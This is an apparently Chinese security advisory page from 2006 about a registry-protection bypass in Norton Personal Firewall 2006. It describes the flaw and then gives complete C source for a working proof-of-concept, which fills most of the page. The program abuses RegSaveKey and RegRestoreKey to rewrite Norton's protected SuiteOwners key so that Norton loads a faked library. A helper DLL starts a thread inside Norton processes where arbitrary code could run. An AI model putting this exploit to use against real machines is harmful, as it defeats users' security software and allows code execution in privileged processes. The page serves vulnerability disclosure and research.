首页 -> 安全研究
安全研究
安全漏洞
Symantec Norton个人防火墙SuiteOwners注册表项安全绕过漏洞
发布日期:2006-08-18
更新日期:2006-08-21
受影响系统:
Symantec Norton Personal Firewall 2006 9.1.0.33描述:
BUGTRAQ ID: 19585
Symantec Norton个人防火墙是非常流行的防火墙软件。
Norton在处理注册表项访问权限时存在漏洞,本地攻击者可能利用此漏洞绕过安全检查。
Norton使用自己的注册表项防范其他应用程序的操作,但可使用API函数RegSaveKey和RegRestoreKey绕过注册表项 HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners 的防护。这个注册表项还可用于存储一些重要的信息,如NISProd.dll。恶意的应用程序可以使用RegSaveKey和RegRestoreKey修改SuiteOwners中的值,导致Norton将伪造的函数库加载到进程。伪造函数库中的恶意代码可以操控任意Norton组件,绕过所有的安全防护。
<*来源:David Matousek (david@matousec.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115591911906003&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Testing program for Norton DLL faking via "SuiteOwners" protection bypass (BTP00010P002NF)
Usage:
prog
(the program is executed without special arguments)
Description:
This program uses standard Windows API RegSaveKey and RegRestoreKey to modify registry value
in registry key "HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners". This cause Norton to load modified version
of "NISProd.dll" instead of original one to its own processes. Modification of this library is done in the way
it loads another library "testdll.dll". During its initialization it creates extra thread that can execute
a malicious code. In this demostration the malicious code is simulated by a harmless code that logs messages
to a file.
Test:
Running the testing program and opening Norton Personal Firewall control panel.
*/
#include <stdio.h>
#include <windows.h>
void about(void)
{
printf("Testing program for Testing program for Norton DLL faking via \"SuiteOwners\" protection bypass (BTP00010P002NF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}
void usage(void)
{
printf("Usage: test\n"
" (the program is executed without special arguments)\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %d.\n",code);
return;
}
/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;
res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}
/*
enable_backup_privilege adds backup privilege to own token
returns TRUE if succeed
*/
int enable_backup_privilege(void)
{
return enable_privilege(SE_BACKUP_NAME);
}
/*
enable_restore_privilege adds restore privilege to own token
returns TRUE if succeed
*/
int enable_restore_privilege(void)
{
return enable_privilege(SE_RESTORE_NAME);
}
#define REGKEY "SOFTWARE\\Symantec\\CCPD\\SuiteOwners"
int main(int argc,char **argv)
{
about();
if (argc!=1)
{
usage();
return 1;
}
enable_backup_privilege();
enable_restore_privilege();
char curdir[MAX_PATH],sysdir[MAX_PATH],testdll[MAX_PATH],testdll_new[MAX_PATH],
np_fake[MAX_PATH],np_fake_new[MAX_PATH],owner[MAX_PATH],savsys[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
GetCurrentDirectory(MAX_PATH,curdir);
int curdirlen=strlen(curdir)-1;
if (curdir[curdirlen]=='\\') curdir[curdirlen]=0;
snprintf(testdll,MAX_PATH,"%s\\testdll.dll",curdir);
snprintf(testdll_new,MAX_PATH,"%s\\testdll.dll",sysdir);
snprintf(np_fake,MAX_PATH,"%s\\NISProd_fake.dll",curdir);
snprintf(np_fake_new,MAX_PATH,"%s\\NISProd_fake.dll",sysdir);
snprintf(owner,MAX_PATH,"%s\\",sysdir);
snprintf(savsys,MAX_PATH,"%s\\bug.regsav",sysdir);
if (!CopyFile(testdll,testdll_new,FALSE))
{
fprintf(stderr,"Unable to copy file \"%s\" to \"%s\".\n",testdll,testdll_new);
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
printf("File \"%s\" copied to \"%s\".\n",testdll,testdll_new);
if (!CopyFile(np_fake,np_fake_new,FALSE))
{
fprintf(stderr,"Unable to copy file \"%s\" to \"%s\".\n",np_fake,np_fake_new);
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
printf("File \"%s\" copied to \"%s\".\n",np_fake,np_fake_new);
HKEY key;
int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,KEY_READ,&key);
if (ret==ERROR_SUCCESS)
{
ret=RegSaveKey(key,"bug.regsav",NULL);
RegCloseKey(key);
if (CopyFile("bug.regsav",savsys,FALSE)) printf("File \"bug.regsav\" copied to \"%s\".\n",savsys);
if (ret==ERROR_SUCCESS)
{
printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" saved to \"bug.regsav\".\n");
HKEY keyr;
ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&keyr,NULL);
if (ret==ERROR_SUCCESS)
{
ret=RegRestoreKey(keyr,"bug.regsav",0);
RegCloseKey(keyr);
if (ret==ERROR_SUCCESS)
{
printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\" restored from \"bug.regsav\".\n");
HKEY hkey;
ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}",
0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,NULL);
if (ret==ERROR_SUCCESS)
{
ret=RegSetValueEx(hkey,"BRDLLName",0,REG_SZ,"NISProd_fake.dll",17);
int ret2=RegSetValueEx(hkey,"OwnerDirectory",0,REG_SZ,owner,strlen(owner)+1);
RegCloseKey(hkey);
if ((ret==ERROR_SUCCESS) && (ret2==ERROR_SUCCESS))
{
printf("Registry values \"BRDLLName\" and \"OwnerDirectory\" were modified in \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
HKEY skey;
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF",0,KEY_READ,&skey);
if (ret==ERROR_SUCCESS)
{
ret=RegSaveKey(skey,"bug.regsav2",NULL);
if (ret==ERROR_SUCCESS)
{
printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" saved to \"bug.regsav2\".\n");
RegCloseKey(skey);
HKEY rkey;
ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&rkey,NULL);
if (ret==ERROR_SUCCESS)
{
ret=RegRestoreKey(rkey,"bug.regsav2",0);
if (ret==ERROR_SUCCESS) printf("Registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" restored from \"bug.regsav2\".\n");
else fprintf(stderr,"Unable to restore registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" from file \"bug.regsav2\".\n");
RegCloseKey(rkey);
} else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
DeleteFile("bug.regsav2");
} else fprintf(stderr,"Unable to save registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\" to file \"bug.regsav2\".\n");
} else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
} else fprintf(stderr,"Unable to modify registry value in key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
} else fprintf(stderr,"Unable to open registry key \"SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\\{257BBC47-1B26-432e-9F84-188603799DD3}\".\n");
} else fprintf(stderr,"Unable to restore \"bug.regsav\" to registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
} else
{
RegCloseKey(keyr);
fprintf(stderr,"Unable to create registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\BTP00010P002NF\".\n");
}
DeleteFile("bug.regsav");
} else fprintf(stderr,"Unable to save registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\" to file \"bug.regsav\".\n");
} else fprintf(stderr,"Unable to open registry key \"HKLM\\SOFTWARE\\Symantec\\CCPD\\SuiteOwners\".\n");
if (ret!=ERROR_SUCCESS)
{
SetLastError(ret);
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
printf("\nTEST SUCCESSFUL!\n");
return 0;
}
-------------------------------------------------------------------------------
/*
Helper DLL for Norton DLL faking via "SuiteOwners" protection bypass (BTP00010P002NF)
Description:
This DLL creates a new thread that can be used for executing malicious code. The malicious code is simulated
by a harmless code that logs messages to a file. It also restore original registry keys in "HKLM\SOFTWARE\Symantec\CCPD\SuiteOwners".
*/
#include <stdio.h>
#include <windows.h>
HANDLE thread=NULL;
char msg[1024];
void logmsg();
/*
logmsg logs messages to C:\BTP00010P002NF.log
*/
void logmsg(void)
{
HANDLE log=CreateFile("C:\\BTP00010P002NF.log",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (log!=INVALID_HANDLE_VALUE)
{
SetFilePointer(log,0,NULL,FILE_END);
DWORD bytes;
WriteFile(log,msg,strlen(msg),&bytes,NULL);
CloseHandle(log);
}
return;
}
/*
thread routine that can execute malicious code with the privileges of vsmon.exe
*/
DWORD WINAPI thread_proc(HMODULE module)
{
while (1)
{
snprintf(msg,1024,"Any code can be executed now in process PID=%d, using module at 0x%p.\n",
GetCurrentProcessId(),module);
logmsg();
Sleep(10000);
}
return 0;
}
/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;
res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}
/*
enable_restore_privilege adds restore privilege to own token
returns TRUE if succeed
*/
int enable_restore_privilege(void)
{
return enable_privilege(SE_RESTORE_NAME);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
if (fdwReason==DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hinstDLL);
snprintf(msg,1024,"DLL_PROCESS_ATTACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
logmsg();
thread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)thread_proc,hinstDLL,0,NULL);
enable_restore_privilege();
char savsys[MAX_PATH],sysdir[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
snprintf(savsys,MAX_PATH,"%s\\bug.regsav",sysdir);
HKEY rkey;
int ret=RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Symantec\\CCPD\\SuiteOwners",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&rkey,NULL);
if (ret==ERROR_SUCCESS)
{
RegRestoreKey(rkey,savsys,0);
RegCloseKey(rkey);
}
DeleteFile(savsys);
}
if ((fdwReason==DLL_PROCESS_DETACH) && thread)
{
snprintf(msg,1024,"DLL_PROCESS_DETACH for testdll.dll in process PID=%d, hinstDLL = 0x%p\n",GetCurrentProcessId(),hinstDLL);
logmsg();
TerminateThread(thread,0);
CloseHandle(thread);
}
return TRUE;
}
建议:
厂商补丁:
Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.symantec.com/sabu/nis/npf/
浏览次数:3311
严重程度:0(网友投票)
绿盟科技给您安全的保障